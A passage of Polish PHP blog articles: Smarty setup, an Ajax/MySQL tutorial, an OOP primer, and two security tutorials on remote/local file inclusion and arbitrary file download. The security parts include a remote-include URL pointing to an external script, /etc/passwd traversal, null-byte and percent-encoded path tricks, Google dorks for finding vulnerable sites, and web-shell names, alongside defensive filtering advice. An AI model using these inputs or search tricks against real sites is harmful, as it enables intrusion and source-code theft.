Smarty jest udostępniane na licencji LGPL choć wcześniej była udostępniana po prostu na GPL.
Obecnie najwyższą wersją Smarty jest ta oznaczona numerem 2.6.22, tutaj znajdziecie ChangeLog.
Z tego co pobierzecie ze strony Smarty, nas interesuje katalog libs, który zawiera głowną bibliotekę Smarty.
Do prawidłowego funkcjonowania tego systemu szablonów w swoim projekcie serwisu WWW potrzebujesz czterech dodatkowych katalogów:

cache

katalog używany przy buforowaniu (opcjonalny). Katalog musi mieć prawa zapisu.

configs

katalog przechowujący dane konfiguracyjne (opcjonalny)

templates

katalog przechowujący szablony (*.tpl)

templates_c

katalog przechowujący pliki po kompilacji. Katalog musi mieć prawa zapisu.

Instalacja?

Potem rozpoczynamy zabawę

W internecie znajdziesz multum świetnych tutoriali, artykułów na temat Smarty. Więc pisanie kolejnego i to na "hipcia" jest bez celowe

Jeśli kiedykolwiek dojdzie do publikacji drugiej części tego artykułu postaram się oprócz zwykłej teorii przekazywać więcej wiedzy praktycznej.

Pozdrawiam, MajareQ

Całość artykułu i skryptu opierałem na rozwiązaniu Ajax'owym z W3School.

Więc do rzeczy! By zrobić to u siebie musisz wykonać następujące czynności:

1. Utworzyć odpowiednią tabelę w bazie danych.
2. Stworzyć kod HTML z listą w formularzu, odwołujący się do pliku Ajaxa.
3. Stworzyć kod Ajaxowy obsługujący drugi plik PHP.
4. Stworzyć plik PHP wywołujący dane z bazy.

Tabela SQL

Najpierw potrzebna nam w bazie danych tabela zawierające dane, które mamy dynamicznie pobierać.
U mnie jest to w formie:

Zrzut bazy danych dostępny jest tutaj.

Pole id jest kluczem w tabeli i zawiera dodatkowy argument – auto_increment.
Oznacza to (auto_icrement), że nie musimy za każdym razem gdy dodajemy nową osobę do bazdy danych, wpisywać kolejnego id. Skrypt zrobi to za nas.
Ustawiając PRIMARY KEY (klucz główny) na id, spełniamy wymóg jaki narzuca nam działanie relacyjnych baz danych, identyfikujemy wiersze w tabeli.

Główny plik – ajax.php

Skoro już mamy tabelę w bazie możemy zapełnić ją rekordami. Dane wpisujcie dowolnie
Przystępujemy do drugiego kroku naszego tutoriala. Plik ajax.php:
Pierwsza i najważniejsza kwestia: połączenie z bazą danych. Robimy to w następujący sposób:

Pierwszą wywoływaną funkcją jest mysql_connect() gdzie parametrami są kolejno: host, użytkownik i hasło. W 99% przypadków w miejsce hostu należy wpisać po prostu localhost.

Potem wywołujemy funkcję mysql_select_db() która oznacza, jak nie trudno jest się domyśleć, wybranie bazy danych. Dalsza część kodu zaczynająca się od or die zakończy działanie skryptu i wyświetli napis znajdujący się pomiędzy cydzysłowami jeśli za pomocą wcześniej podanych informacji na temat użytkownika i hostu nie można połączyć się z bazą dany MySQL.

Jeśli dobrze wypełniłeś ten fragment kodu możemy przejść dalej:

Tego chyba nie muszę tłumaczyć. Oznacza to odwołanie się do pliku ajax.js. Możemy iść dalej.
Zajmiemy się teraz instrukcją liczącą rekordy w tabeli i wyświetlający odpowiednie napisy:

Co zrobiliśmy teraz?

1. Zmiennej o nazwie $liczRekordy nadaliśmy wartość ilości rekordów w tabeli o nazwie ajaxsql.
2. Sprawdziliśmy czy jest jakiś rekord w tej tabeli i wyświetliśmy napis pokazujący ile jest tych rekordów. W przeciwnym wypadku napisaliśmy napis „Nie ma osób w bazie.”.

Przyszła pora na listę wyboru oraz tak zwany placeholder czyli miejsce gdzie będą pokazywać się rekordy z bazy danych. Dokonujemy tego za pomoca następującego kodu:

Pora na krótką analizę:
Najpierw tworzymy formularz za pomocą <form>, potem tworzymy listę wyboru <select> nadajemu mu m.in parametr onchange wywołujący funkcję JS showUser która pokazuje aktualnie wybraną wartość. Potem wywołujemy wszystkie rekordy z tabeli 'ajaxsql' sortując rosnąco. Wyświetlania rekordów z bazy dokonujemy za pomocą pętli while. Następnie zamykamy listę i formularz oraz tworzymy placeholder, który niedługo zdefiniujemy w pliku ajax.js

No dobrze. Skończyliśmy pisać plik ajax.js . Twoja wersja tego pliku powinna wyglądać mniej więcej tak:

Plik Ajaxa – ajax.js

Plik ajax.js oparłem na rozwiązaniu W3School więc od razu zaznaczam, że nie ja jestem jego autorem. Lecz postaram się w miarę moich skromnych możliwości skutecznie go objaśnić. Nie będę teraz pokazywał poszczególnych cześci kodu, ponieważ śmiało możecie go pobrać z tego adresu.

Plik ten zawiera 3 funkcje. Pierwsza z nich to wspominana już funkcja showUser.
Sprawdza ona najpierw czy Twoja przeglądarka obsługuje HTTP Reguest, jeśli nie to wyświetli po prostu komunikat „Browser does not support HTTP Request”. Używa także ostatniej w pliku funkcji czyli GetXmlHttpObject(), której działanie opisuje następne zdanie.

Jeśli przeglądarka nie obsługuje XMLHttpRequest (a obługują przeglądarki na Gecko) to używa ona ActiveXObject obsługiwanego przez popularnie nazywane badzIEwie czyli Internet Explorer.

Potem definiuję zmienną url, która będzie odwoływać się do pliku omówionego w następnym kroku – getajax.php
Obsługuje ona też dalsze parametry adresu url definiując tablicę $_GET['q'].

Kolejna funkcja - stateChanged() definuje nasz opisany już placeholder.

To koniec pliku ajax.js Pora na następny krok.

Plik obsługiwany przez Ajax – getajax.php

Tutaj godne podkreślenia jest to że należy osobno łączyć się z bazą danych. Nie można używać żadnych z tych funkcji: include(), require(), require_once(), include_once(). Zatem... PHP czas zacząć!

Tym kodem zrobiliśmy następujące rzeczy: przekazaliśmy do zmiennej $q dane z tablicy $_GET['q'] czyli parametry url'a. Potem wywołaliśmy instrukcję łączenia się z bazą danych. W przypadku nie powodzenia skrypt wyświetli nam błąd o treść: „Nie mogę się połączyć. Error: szczegóły_błędu”. A oto co wykonujemy potem:

Najpierw wyslaliśmy MIME informujący, że kod pobierany przez Ajax w przeglądarce będzie typu HTML, a kodowanie tekstu będzie w iso-8859-2. Następnie połączyliśmy się z bazą danych, wybraliśmy rekordy z tabeli i zapisaliśmy do zmiennej $result. Co robimy dalej?

Ponownie używamy pętli while do wyświetlenia pobranych rekordów z tabeli. Tym razem w instrukcji while ładnie wyświetlamy wszystkie informacje na temat osoby znajdującej się w stworzonej już przez nas tabeli 'ajaxsql'. Potem zamykamy połączenie z bazą danych.

Całość tego pliku przedstawiam poniżej:

To już koniec naszego tutoriala. Przedstawiłem Wam metodę dynamicznego pobierania informacji z tabeli w bazie danych MySQL. Można to dowolnie dostosowywac do swoich projektów.
Wersję do pobrania znajdziecie tutaj.

MajareQ

Zarys teoretyczny...

Obydwa typy ataków (zwane razem po prostu Include File Injection) są przykładami ogólnie rozumianego Code Injection, czyli wstrzykiwania niedozwolonego kodu. Prócz nich do grupy tego typu luk należą m.in. PHP/ASP Injection, SQL Injection, czy Shell Injection które dokładniej przedstawię w kolejnych artykułach o zabezpieczeniach.

O czym zaraz będziecie mogli się przekonać, na pierwszy rzut oka ataki te są podobne do opisywanej już przeze mnie luki AFD, a wszystko przez fakt możliwości wykorzystania błędu poprzez specyficzne dane wprowadzane przez użytkownika. Ich stopień niebezpieczeństwa można wyrazić przez prosty fakt, że nie tylko zagrażają one danemu, podatnemu na nie serwisowi, ale także w niektórych przypadkach całemu serwerowi. Dzieje się tak z powodu możliwości załadowania dowolnego pliku na serwerze ofiary, bądź w zależności od konfiguracji serwera także pliku z serwerów zewnętrznych poprzez dziurawy skrypt.

Przyczyny tworzenia bugów...

Obydwa błędy dotyczą funkcji PHP odpowiedzialnych za wczytywanie plików na stronie. Mowa tu np. o include(), include_once(), require(), require_once(), fopen() (a co za tym idzie także fread()), file(), czy file_get_contents().

Dwa poniższe, teoretyczne przykłady zobrazują Wam jak prosto można stać się ofiarą własnej naiwności, niewiedzy.

Kod ten domyślnie mógłby być przez jakiegoś laika używany do zapisywania w cookies języka użytkownika wraz z możliwością jego dynamicznej zmiany poprzez parametr tablicy GET skryptu. Niestety brak jakiegokolwiek filtrowania pozwala co lepiej kombinującemu użytkownikowi na manipulowanie i wartością parametru, i zawartością ciasteczka odpowiadającego za przetrzymywanie języka użytkownika.

Przeanalizujmy metodykę działania tego pseudoskryptu:

Niby wszystko ok. Co jednak, jeżeli dokonamy edycji ciasteczka, bądź zmienimy nasz parametr w sposób podobny do http://inna_strona.eu/exp.txt?? Wywołamy z zewnętrznego serwera skrypt o rozszerzeniu txt. Tak oto otrzymaliśmy prosty przykład RFI. Po co ten znak zapytania na końcu? W celu uznania za parametry wszystkiego co znalazłoby się za nim w naszym adresie po przepuszczeniu w danej funkcji PHP (działa to tylko w przypadku RFI i zależne jest od stosowanej funkcji operującej na pliku), a także w celu uruchomienia danego pliku na serwerze ofiary. W naszym przypadku wynikiem będzie:

Drugi przypadek może symbolizować prosty system wczytywania podstron. Przykład może pozornie być uważany za bezpieczny z racji zastosowania switch. Niestety w wypadku jeżeli żaden z jego warunków nie zostanie spełniony w default może zostać wykonany praktycznie dowolny kod.

Podobnie jak w pierwszym przykładzie także tutaj możemy spreparować link, tym razem np. w taki sposób, aby uzyskać LFI.

Skorzystanie z takiego odnośnika spowoduje wywołanie pliku hasla.txt z głównego katalogu serwisu. Nie trzeba długo myśleć, że w taki sposób można mieć dostęp do każdego niezabezpieczonego pliku na serwerze w tym do będącego najczęstszym przykładem /etc/passwd.

Directory Traversal (DA)?

W powyższych przykładach nie wspomniałem nic o Path Disclosure, bo tak inaczej można nazwać Directory Traversal. Pozwala ono na otrzymanie dostępu do plików źródłowych lub ujawnienie innych zasobów znajdujących się na lokalnym serwerze. Manipulując żądaniami podobnie jak w przypadku Local File Include możemy otrzymać niepowołany dostęp do w.w. zasobów poprzez np. domyślne odwoływanie się do plików szablonów, czy podstron danego serwisu. To czyni z DA synonimiczny typ ataku do wspomnianego przed chwilą LFI.

Poison Null Byte jako panaceum na ominięcie zintegrowanych rozszerzeń...

Wspomniałem powyżej, że znak zapytania na końcu wywoływanego, spreparowanego kodu powoduje w niektórych przypadkach pozbycie się wbudowanego w skrypt rozszerzenia - o ile takowe istnieje. W praktyce działa to tylko w funkcjach sczytujących zawartości plików zewnętrznych, takich jak np. wspomniane file(args);. Nie zadziała to jednak już np. w przypadku integralnie wczytującego include(arg);.

Nasuwają się więc od razu pytania jak sobie poradzić z tym problemem? Czy jest jakiś uniwersalny sposób na przełamanie tego niekiedy przypadkowego zabezpieczenia? Jest i nazywa się Poison Null Byte, czyli atak z użyciem bajtu zerowego. Inaczej mówiąc jest to zerowy metaznak w postaci jednej z dwóch następujących form: %00 lub %2500. Drugą z nich używa się w wypadku kiedy strona zabezpieczona jest przed pierwszą. Zamieniamy w nim po prostu % na jego szesnastkowy odpowiednik w kodzie ASCII, czyli %25. Po dodaniu takiego "pustego" znaku automatycznie przekazujemy do skryptu zakończenie danego ciągu (nakazujemy obcięcie reszty znaków), przez co wszystko co po nim występuje jest automatycznie ignorowane przez parser PHP.

Należy pamiętać, że w PHP poniżej wersji 6.0 przy włączonym ustawieniu "magic_quotes_gpc = On" zostanie automatycznie przeprowadzona filtracja tego typu ataku. Sama luka wykorzystywana jest zawsze w połączeniu z tytularnymi bugami opisywanymi w tym artykule.

Kiedy jesteśmy narażeni na włamanie?

• kiedy "magic_quotes_gpc = Off" (php.ini) (brak filtracji bajtów zerowych z poziomu ustawień PHP), bądź kiedy nie używamy addslashes lub mysql_real_escape_string dla poleceń MySQL,
• gdy dyrektywa "register_globals = On" (php.ini), z racji tworzenia z parametru tablic superglobalnych GET/POST/COOKIES zmiennej o nazwie tegoż argumentu. Przykład:
  http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt

  Utworzy w skrypcie automatycznie zmienną o następującej wartości:

  $page = 'http://inna_strona.eu/exp.txt';
• w momencie gdy "allow_url_fopen = On" (php.ini) i/lub "allow_url_include = On" (php.ini dla funkcji include(arg);, require(arg);, include_once(arg);, require_once(arg); PHP od wersji 5.2) które pozwalają na pobieranie w funkcjach operujących na plikach zasobów z zdalnych serwerów lub w momencie kiedy nie blokujemy takiej możliwości bezpośrednio z poziomu skryptu,
• kiedy nie zachowujemy podstawowych zasad zachowania bezpieczeństwa w skrypcie w tym wypadku dotyczących ograniczenia korzystania z plików w danych katalogach, o danych rozszerzeniach opierając się o regułę ograniczonego zaufania.

Zagrożenie ze strony modyfikacji kodowania adresu URL...

Skupmy się na chwilę na samych parametrach skryptu, czyli na Query String'u. Analizując metody zabezpieczeń często zapomina się o filtracji zakodowanej formy adresu na której działanie część serwerów jest narażonych.

Tak więc ../ dla przykładu w heksadecymalnym kodzie ASCII posiada odpowiednik w postaci ciągu %2e%2e%2f. Należy zabrać pod uwagę także mieszane formy poprzedniego wzorca, jak np. ..%2f, %2e%2e/, a także formy zgodne z UTF-8 - czyli dla przykładu ..%c0%af. Poniżej przedstawiam tabelę części znaków i ich szesnastkowych odpowiedników ASCII.

Celem ogólnym tego paragrafu jest zaprezentowanie przeze mnie rzadkich, ale niekiedy możliwych do przeprowadzenia metod w.w. ataków za pomocą użycia procentowych, zakodowanych odpowiedników znaków. Uogólniając należy wyjść naprzeciw temu problemowi poprzez usystematyzowanie formy danych wejściowych na jednolite, najlepiej najbliższe ludzkiemu oku - czysto znakowe.

Jak się zabezpieczyć?

Na początek można odwrócić wartości dotyczące konfiguracji php.ini które podałem w paragrafie "Kiedy jesteśmy narażeni na włamanie?". Nie mniej jednak "allow_url_fopen = Off" może być niepowołane w przypadku skryptów docelowo korzystających z jakiegoś zewnętrznego zasobu (np. z danych jakiegoś trackera), a "magic_quotes_gpc = On" pomimo, że automatycznie przeprowadza pewien poziom filtrowania to nie jest przeze mnie zalecane z powodu kreowania w webdeveloperze złych nawyków. Reszta zmian jest jak najbardziej wskazana.

Jeśli chodzi już o zabezpieczenia z poziomu skryptu to oprę się o dwa na początku artykułu wymienione przykłady.

Na drugim z nich zaprezentuję sposób najbardziej banalny, gdyż ładujący dane za pomocą ID (oparty o wbudowaną listę plików, choć można to oczywiście zrobić na podstawie np. bazy danych).

Przykład banalny i za pewnie przydatny tylko w przypadku małych i prostych skryptów. Wypadałoby go zautomatyzować i na tym będzie się opierał pierwszy przerobiony z wyżej opisanych, niezabezpieczonych kodów.

Oprzemy się tutaj na użyciu funkcji basename() (w celu wyodrębnienia nazwy pliku z całego ciągu), addslashes() (dodaj znaki unikowe), urldecode() (dla zakodowanych procentowych form znaków) oraz html_entity_decode() (aby pozbyć się encji). Przykład zabroni całkowicie pobierania z zewnętrznych serwerów. Jeśli jednak skrypt wymagałby tego to należy zabronić użytkownikowi podawania adresu do takowego pliku i po prostu umieścić jego adres na stałe w skrypcie. Ważnym jest też fakt, aby pamiętać, że jeśli ten zdalny plik nie leży na jednym z zarządzanych przez nas serwerów to musimy liczyć się z tym, iż jego zawartość może zmienić się na przeznaczoną do dokonania włamania. Bezwzględnie powinno się filtrować także zawartość takich plików!

Bo człowiek najlepiej uczy się na przykładach...

Szukać opisywanych błędów można w podobny sposób jak w temacie o Arbitrary File Download (w slangu tzw. dorki). Pomijając pisane do tego specjalnie skrypty/programy, za pomocą wyszukiwarki. Frazeologia także nie różni się tak bardzo. Opieramy po prostu wyszukiwanie na parametrach skryptu pod którymi może występować luka, takimi jak f=, file=, site=, page=, czy plik=.

Tak mogłyby wyglądać frazy wyszukiwania Google. W tym ostatnim wypadku zawężamy wyszukiwania do domen o rozszerzeniu .pl oraz wyszukujemy w nich jedną z dwóch podanych nazw parametrów plików php. Oczywiście nic nie stoi na przeszkodzie, aby przerobić to zapytanie na bliższe własnym potrzebą.

Inny sposobem na wyszukiwanie tego typu błędów jest wpisywanie fraz związanych z ostrzeżeniami funkcji na których luka się opiera (takich jak require(), file(), czy inne wymienione w drugim paragrafie). Niestety jest to metoda zawodna, gdyż nie każda tego typu informacja zwracana w skrypcie jest wykładnikiem błędu i nie zawsze są one także indeksowane przez wyszukiwarki. Można je jednak niekiedy użyć z wcześniej wymienionym sposobem w celu zwiększenia prawdopodobieństwa, że wykryty przez nas domniemany błąd jest nim naprawdę.

Największe prawdopodobieństwo trafienia na podatny kod ostrzeżenie na stronie powinno wyglądać mniej więcej jak to (należy zwrócić uwagę na rozszerzenie otwieranego pliku oraz rodzaj funkcji wczytującej pliki):

W taki oto sposób, po ciut przypadkowych poszukiwaniach otrzymałem przykład nieodpowiednio zabezpieczonego skryptu.

Link z pierwszej strony wyników. Dla pewności sprawdziłem występowanie luki poprzez jeden z krążących po internecie programów do ich wykrywania (po czym przetestowałem ponownie napisanym przeze mnie skanerem - jest to wersja rozwojowa więc może mieć ciut błędów - wymaga minimum .NET Framework 2.0 - więcej w komentarzach). Rezultat pozytywny - "mission completed"

Pewnie niektórzy drapią się z Was po głowie, dlaczego ten punkt opisałem "po łebkach". Wszystko ze względu, że metodologia wykrywania tego typu bugów jest praktycznie taka sama jak w przypadku poprzednio opisywanej przeze mnie problematyki zabezpieczeń (wspomniane już dwukrotnie AFD).

I na koniec przykładowy link działania zewnętrznego shella (skrypt wykonywany zdalnie - z innego serwera - przykładami są: r57.php, s72.php, czy c99.php) wobec RFI, już bez zbędnego opisu. Jak zwykle zaznaczam także, że wszelkie przykłady zamieszczone w tymże, a także w kolejnych artykułach są na zasadach edukacyjnych. Proszę nie wykorzystywać ich do jakiegokolwiek niszczenia prac autorów zamieszczonych tu stron!

Jeśli ktoś chce zobaczyć konstrukcję shellów to zapraszam na utnij.eu, gdzie w statystykach skróconych ostatnio odnośników można znaleźć wiele tego typu skryptów, co jest wynikiem prób jakiś osobników shackowania tego serwisu. Jak na razie bezowocnych... na szczęście...

copyright © 2008, m1chu

udostępnione na licencji CC dla vivee.info i m1chu.eu

Tłumacząc na polski nazwę tej luki otrzymalibyśmy mniej lub bardziej dosłownie translację w stylu "Pobieranie dowolnego pliku". Stąd moje krótkie tłumaczenie w powyższym paragrafie.

Z teoretycznego punktu widzenia dokładniej wygląda to tak, że za pomocą parametru w adresie pliku przeznaczonego do ściągania innych plików z serwera możemy spreparować tak adres, aby pozwolił on nam ściągnąć pliki domyślnie przez programistę nieprzeznaczone do takiego zabiegu. Wiąże się to niedostateczną, a najczęściej po prostu z brakiem filtracji elementu (np. zmiennej) odpowiedzialnego za pobieranie argumentu.

Pokażę prosty przykład pliku (nazwijmy go download.php) który jest podatny na tego typu atak:

I pomimo, że intencją programisty było ściąganie dzięki temu plikowi np. dokumentów PDF, to my dzięki jego niefrasobliwości bez problemu możemy wykorzystać go do... pobierania pozostałych plików PHP. Co najważniejsze - nieprzeparsowanych! Po prostu czysty kod PHP w takiej formie jaką twórca strony umieścił na serwerze. Jedyne co nas w tym wypadku ogranicza to funkcja readfile która standardowo nie nadaje się do pobierania dużych plików, a także czas wykonywania skryptu i wielkość bufora ustawiona w pliku konfiguracyjnym PHP.

Wracając do przykładów. Na wyimaginowanym odnośniku powiedzmy linkującego do dokumentu PDF wyglądało by to tak:

Pierwsza myśl która Wam może przyjść do głowy to podmienić po prostu specyfikacja.pdf na inny plik. Standardowo mógłby być to index.php, gdyż ściągając jego zawartość otrzymamy informację o nazwach innych powiązanych z nim plików. Niekoniecznie jednak plik ten musi się znajdować w tym samym katalogu co download.php, czy specyfikacja.pdf.

W pierwszym przypadku widzimy, że plik PHP którym ściągamy pozostałe źródła znajduje się w podkatalogu. Dlatego dla pewności możemy wypróbować dwa spreparowane linki:

W drugim punkcie sprawa wygląda tak, że plik specyfikacja.pdf nie musi się znajdować w tym samym katalogu co download.php pomimo, że w odnośniku nie jest podana do niego inna ścieżka. Wystarczy, że twórca strony w w.w. przeze mnie kodzie zmieni linijkę z readfile (a także linię odpowiedzialną za pobieranie wielkości pliku) na:

W takim wypadku jego pliki PDF są po prostu ściągane z:

I tu rodzi się kolejne rozwiązanie - używanie przejść do katalogów nadrzędnych. Jeśli w tym wypadku chcielibyśmy ściągnąć index.php z głównego katalogu to wystarczy po prostu wpisać taki adres w przeglądarce:

Spytacie może:

W takim bądź razie skąd ja mam wiedzieć, gdzie wreszcie znajduje się ten mój pożądany plik?

Jeśli zaczynasz się w to bawić to najprościej będzie robić to metodą prób i błędów poprzez przejścia do podkatalogów i katalogów nadrzędnych. Jeżeli któreś z kolei nie zadziała to albo skrypt jest zabezpieczony, albo po prostu nie ma dostępu do pliku którego szukasz na serwerze (tak może być niekiedy z poszukiwaniem np. systemowego /etc/passwd). Innym sposobem jest użycie jakiegoś downloadera plików w stylu wget, czy innych Windowsowych zamienników, po czym analiza struktury katalogów serwisu. Zabieg w miarę prosty (chodzi o użytkowanie tych narzędzi) więc chyba tłumaczyć nie muszę.

Jak to wygląda już tak kompletnie w praktyce życiowej. Wiele osób twierdzi, że nie jest łatwo znaleźć taki błąd. Fakt, co nie zmienia faktu, że nie jest to niemożliwe. Specjalnie dla Was dzisiaj w nocy za pomocą Google wyszukałem pięć stron podatnych na ten atak. Jedną z nich wybiorę jako przykład ukazania wyszukania strony, błędu i ostatecznie jego edukacyjnego użycia.

1. Przeszukujemy Google...

Możemy to oczywiście zrobić na różne sposoby. Osobiście użyje tejże wyszukiwarki, a stronę znajdywać będę poprzez frazy wyszukiwania, np. takie:

Tłumacząc, zostaną wyszukane wszelkie zindeksowane strony w domenie .eu (europejskiej) lub home.pl z co najmniej jednym plikiem podanym w nawiasie. Oczywiście można rzucić światło imaginacji i podać więcej plików które mogłyby być podanym wyżej przeze mnie źródłem ściągania, ale nam wystarczą tylko te.

2. Znalezienie celu...

Już na pierwszej stronie pierwszej frazy, i drugiej stronie drugiej frazy możemy znaleźć obiekty potencjalnie narażone na atak.

3. Spreparowanie parametru...

Wystarczy tylko wejść pod jeden z tych adresów i spróbować ściągnąć dla przykładu index.php. Co się rzuca od razu w oczy to fakt, że w drugim przypadku prawdopodobnie plik przez nas pożądany będzie znajdować się dwa katalogi wyżej niż aktualnie jesteśmy.

4. Co dalej?

No właśnie. Nie zrobię Wam tu do końca kursu jak włamać się komuś na stronę. Bo posiadając dostęp do plików można bez problemu dostać się do bazy (o ile takowa istnieje), a co za tym idzie po prostu zostawić "OWNED" (o phishingowym wykorzystaniu chyba nie trzeba wspominać). Powiem tylko tyle, że znając PHP można bez problemu w takim momencie poznać strukturę plików, z tym co napisałem powyżej także ściągnąć je, a w tym te odpowiadające za konfiguracje czy hasła.

Na koniec kwestia która jest priorytetem i kulminacją tego wpisu.

Jak się do ku**y zabezpieczyć przed tym?!

Przede wszystkim należy filtrować dane. Zawsze należy, bo nawet jak nie trzeba to prócz większej ilości operacji nic więcej się serwisowi nie stanie z tego powodu. Taka drobna dygresja. Pytanie brzmi, jak to zrobić?

I tu już wszystko zależy od inwencji webmastera. Pokaże dwa przykłady w zależności od podawanego argumentu.

Ściąganie pliku poprzez ID i wykorzystanie bazy danych MySQL.

Przede wszystkim musimy utworzyć prostą tabelę. Zakładam, że wszystkie pliki będą się znajdować w jednym katalogu (powiedzmy download).

Nasz zabugowany wyżej plik możemy zamienić na coś takiego (użyłem czystych funkcji PHP dla MySQL, jeśli ktoś zna rozszerzenie MySQLi albo moduł PEAR DB to nie będzie miał problemu z przepisaniem sobie tego):

Należy pamiętać, że ważnym aspektem zachowania bezpieczeństwa jest także odpowiednia filtracja przy dodawaniu rekordów z nazwami plików do bazy.

Ściąganie pliku po jego nazwie.

Tym razem zabezpieczenie będzie trzeba zrobić bardziej intuicyjnie i oparte tylko na odpowiednim filtrowaniu. Wszystko zależy tutaj od tego skąd chcemy ściągać pliki. Przede wszystkim powinniśmy zabronić jakiegokolwiek pobierania z katalogów nadrzędnych, a także z katalogów podrzędnych w których znajdują się pliki będące integralną częścią strony. Najwygodniej oczywiście byłoby ustawić jeden, konkretny katalog do ściągania. Nie mniej jednak my skupimy się na ograniczeniu do n-tej ilości podkatalogów. Ostatecznie należy pamiętać także, aby w katalogach do których będzie miał dostęp użytkownik z poziomu skryptu pobierającego nie było plików innych niż zdatne do takiego ściągnięcia, no i ewentualnie index.html z pustą stroną.

Zasada powyższego, przykładowego skryptu jest prosta. Filtrujemy w trzech poziomach. Zmieniając encje na znaki usuwamy ciąg ../ z adresu. Sprawdzamy opcjonalnie adres do pliku wg. zadanego przez nas wzorca (o ile takowy podamy) i ostatecznie porównujemy rozszerzenie pliku z dozwolonymi przez nas osobiście rozszerzeniami. Przykładem wzorca dla wyrażenia regularnego będzie np.:

Pozwala ono na ściąganie dowolnego pliku zawierającego w sobie duże i małe litery, cyfry oraz znaki _ i -, a także rozszerzenie będące małymi literami i/lub cyframi o długości od dwóch do czterech znaków.

Na koniec przekazuje kilku minutowy filmik obrazujący znalezienie i użycie błędu. Zapraszam tutaj.

Uprzejmie proszę też o komentarze, jak wygląda ten tutorial, czy jest przydatny i przede wszystkim czy taka forma i taka ilość informacji będzie odpowiednia dla przyszłych artykułów z tego zakresu.

PS: wszelkie znalezione i ukazane błędy zostały przedstawione tylko i wyłącznie w formie edukacyjnej. Nie odpowiadam za formę wykorzystania ich przez użytkowników. Błędy zgłosiłem twórcą stron, więc prędzej czy później mogą one zostać załatane. Proszę o rozsądne ich wykorzystanie przy kształceniu własnych możliwości i NIE NISZCZENIE pracy autorów tych stron..

copyright © 2008, m1chu

udostępnione na licencji CC dla vivee.info i m1chu.eu

Deklaracja klasy, tworzenie, klonowanie oraz niszczenie instancji obiektu na przebudzenie...

Klasa jest reprezentacją metod (nazywanych także funkcjami) i właściwości (nazywanych także z nieobiektowych aplikacji, czy skryptów po prostu zmiennymi). Zbiór klas ma na celu stworzyć ogólny, współdziałający interfejs dla przyszłych użytkowników. Sama klasa w sobie, pomijając pewne zastosowania statyczne jest tylko kontenerem, projektem dla mniejszych paczek których jest reprezentacją. Użyć je można oczywiście poprzez utworzenie instancji na obiekcie, których można wykreować dowolnie dużo.

Pojęciem od którego zaczniemy jest deklaracja klasy, w najprostszej postaci wyglądająca tak:

Kiedy już wykonamy powyższą deklarację, możemy przystąpić do instancjonowania obiektu, które z goła jest tak samo proste jak poprzednia czynność.

Ponieważ obiekt, w tym wypadku do zmiennej $instancja przekazywany jest zawsze jako uchwyt (w praktycznym podejściu można uważać, że jako referencja) możliwe jest bezproblemowe skopiowanie instancji do innej zmiennej poprzez ich zwyczajne przyrównanie. To rozróżnia zmienną $instancja od zwykłych zmiennych dla których dane przekazywane są jako wartość. Ważnym jest, że poprzez taki zabieg instancje odnoszą się do jednej klasy, więc zmiana danych poprzez jedną z nich automatycznie powoduje zmianę w drugiej. Można tego uniknąć poprzez klonowanie obiektu używając operatora clone (ponieważ dla nowej powielonej instancji zostanie zaalokowana nowa przestrzeń pamięci to zmiany na pierwotnej zmiennej przetrzymującej obiekt nie będę się odbijać na sklonowanej).

Instancja zostaje zniszczona automatycznie po wygenerowaniu całego skryptu. Nie mnie jednak gdybyśmy potrzebowali zrobić to ręcznie to służy do tego funkcja unset(parametr);.

Nie mniej jednak należy pamiętać, że jeśli w międzyczasie skopiujemy instancję tak jak to pokazałem powyżej to obiekt nie zostanie zniszczony dopóki nie usuniemy wszystkich zmiennych będących instancją danego obiektu.

Śniadanie z dziedziczeniem...

Żeby przejść do metod i właściwości niezbędne jest zapoznanie się z dziedziczeniami dostępnymi w OOP. Dziedziczenie pozwala na bezpośrednie korzystanie z zasobów jednej klasy przez inne, dodawanie nowych funkcji i zmiennych, a ostatecznie jeżeli nie ogranicza tego specjalny parametr metod lub klasy z której się dziedziczy także przedefiniowanie niektórych zasobów. A wszystko dzięki umieszczeniu w linii deklaracji klasy która ma dziedziczyć extends klasa_dziedziczona.

Kilka słów wyjaśnienia. Z klasy nadrzędnej dziedziczą bezpośrednio dwie kolejne: klasaDziedziczacaA i klasaDziedziczacaB. W pierwszej z nich występuje metoda nadpisująca metodę z klasy dziedziczonej (prościej mówiąc, o tej samej nazwie), przez co wywołanie $klasaA->metodaA(); powoduje, że otrzymujemy treść z klasy dziedziczącej, a nie dziedziczonej. W drugiej z tych klas miałem zamiar w metodzie metodaA() pokazać użycie operatora zasięgu :: i słowa parent. Pozwala ono nam na dostęp do nadpisanych metod w klasie z której dziedziczymy (a w wypadku ciągu klas dziedziczonych po sobie z najwyższego rodzica). W tym wypadku jest to nam potrzebne, gdyż nadpisanie następuje właśnie w klasie w której się znajdujemy w metodzie metodaB(). No i ostatecznie w klasie klasaDziedziczacaC jest pokazane jak odnieść się do metody rodzica z poziomu któregoś dziedziczenia z rzędu, a także jak statycznie wywołać metody które znajdują się w klasie rodzica lub w klasach pośredniczących.

Ktoś mógłby teraz spytać dlaczego nie użyłem wielokrotnego dziedziczenia. Takowe występuje tylko w przypadku interfejsów, o czym wspomnę za pewnie w następnej części artykułu. Oczywiście dałoby się to pośrednio za pomocą dostępnych w PHP narzędzi ominąć, ale to już temat na osobny wpis z omówieniem takowej metody.

Jest także jeszcze jedna metodyka korzystania z dziedziczenia. Polega ona na tworzeniu instancji tylko obiektu klasy dziedziczącej.

Jak widać na ostatnim użyciu metody bez problemu można korzystać z nieprzedefiniowanych danych klasy bazowej. Należy także wiedzieć, że metody magiczne (o których będzie poniżej) takie jak __construct wyszukiwane są od najniższej klasy dziedziczącej, aż do napotkania pierwszej metody danego typu. Przykładowa, wymieniona przed chwilą metoda konstrukcji wykonywana jest w klasie bazowej jedynie, jeżeli nie znajduje się w żadnej z potomnych jej klas. Można je podpiąć więc pod zasadę nadpisywania, inaczej przedefiniowania. Więcej o tym będzie poniżej.

Na deser zasady działania metod i właściwości...

Na początek wypadałoby poruszyć temat wspomnianego kapsułkowania lub bardziej z angielskiego - enkapsulacji. Polega ona na pewnym ukryciu danych w postaci zmiennych klasy, bądź jej funkcji w taki sposób, aby były one widoczne tylko i wyłącznie w funkcjach zaprzyjaźnionych, klasach dziedziczących lub metodach tej samej klasy (występuje wtedy tzw. pełna hermetyzacja). Z poniższych czterech typów pierwsze trzy mogą, lecz nie muszą łączyć się z czwartą w pary (tworząc np. metody chronione-finalne).

Gdybyśmy mieli umieścić pustą, przykładową metodę wewnątrz w.w. klasy to wyglądałaby ona np. tak:

